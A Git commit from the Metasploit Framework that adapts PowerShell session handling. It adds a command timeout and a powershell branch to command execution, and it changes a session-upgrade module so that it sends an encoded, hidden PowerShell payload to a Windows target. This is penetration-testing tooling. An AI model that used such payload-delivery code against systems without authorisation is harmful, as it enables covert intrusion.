Do changes to have into account powershell sesions are not cmd sessions

bug/bundler_fix
jvazquez-r7 2015-10-02 15:26:42 -05:00
parent 4cbe35e1b2
commit 6468eb51b2
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
4 changed files with 40 additions and 12 deletions

View File

@ -44,7 +44,7 @@ class Msf::Sessions::PowerShell < Msf::Sessions::CommandShell
# #
# Takes over the shell_command of the parent # Takes over the shell_command of the parent
# #
def shell_command(cmd) def shell_command(cmd, timeout = 1800)
# insert random marker # insert random marker
strm = Rex::Text.rand_text_alpha(15) strm = Rex::Text.rand_text_alpha(15)
endm = Rex::Text.rand_text_alpha(15) endm = Rex::Text.rand_text_alpha(15)
@ -52,7 +52,6 @@ class Msf::Sessions::PowerShell < Msf::Sessions::CommandShell
# Send the shell channel's stdin. # Send the shell channel's stdin.
shell_write(";'#{strm}'\n" + cmd + "\n'#{endm}';\n") shell_write(";'#{strm}'\n" + cmd + "\n'#{endm}';\n")
timeout = 1800 # 30 minute timeout
etime = ::Time.now.to_f + timeout etime = ::Time.now.to_f + timeout
buff = "" buff = ""

View File

@ -147,7 +147,7 @@ module Exploit::Powershell
# @param ps_code [String] Powershell code # @param ps_code [String] Powershell code
# @param payload_arch [String] The payload architecture 'x86'/'x86_64' # @param payload_arch [String] The payload architecture 'x86'/'x86_64'
# @param encoded [Boolean] Indicates whether ps_code is encoded or not # @param encoded [Boolean] Indicates whether ps_code is encoded or not
# #ex
# @return [String] Wrapped powershell code # @return [String] Wrapped powershell code
def run_hidden_psh(ps_code, payload_arch, encoded) def run_hidden_psh(ps_code, payload_arch, encoded)
arg_opts = { arg_opts = {

View File

@ -198,6 +198,13 @@ module Msf::Post::Common
end end
process.close process.close
when /powershell/
if args.nil? || args.empty?
o = session.shell_command("#{cmd}", time_out)
else
o = session.shell_command("#{cmd} #{args}", time_out)
end
o.chomp! if o
when /shell/ when /shell/
if args.nil? || args.empty? if args.nil? || args.empty?
o = session.shell_command_token("#{cmd}", time_out) o = session.shell_command_token("#{cmd}", time_out)

View File

@ -128,15 +128,37 @@ class Metasploit3 < Msf::Post
case platform case platform
when 'win' when 'win'
if (have_powershell?) && (datastore['WIN_TRANSFER'] != 'VBS') if session.type == 'powershell'
vprint_status("Transfer method: Powershell") template_path = File.join(Msf::Config.data_directory, 'templates', 'scripts')
psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false } psh_payload = case datastore['Powershell::method']
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts)) when 'net'
else Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload_data)
print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL' when 'reflection'
vprint_status("Transfer method: VBS [fallback]") Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload_data)
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) when 'old'
aborted = transmit_payload(exe) Rex::Powershell::Payload.to_win32pe_psh(template_path, payload_data)
when 'msil'
fail RuntimeError, 'MSIL Powershell method no longer exists'
else
fail RuntimeError, 'No Powershell method specified'
end
# prepend_sleep => 1
psh_payload = 'Start-Sleep -s 1;' << psh_payload
encoded_psh_payload = encode_script(psh_payload)
cmd_exec(run_hidden_psh(encoded_psh_payload, psh_arch, true))
else # shell
if (have_powershell?) && (datastore['WIN_TRANSFER'] != 'VBS')
vprint_status("Transfer method: Powershell")
psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false }
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts))
else
print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
vprint_status("Transfer method: VBS [fallback]")
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
aborted = transmit_payload(exe)
end
end end
when 'python' when 'python'
vprint_status("Transfer method: Python") vprint_status("Transfer method: Python")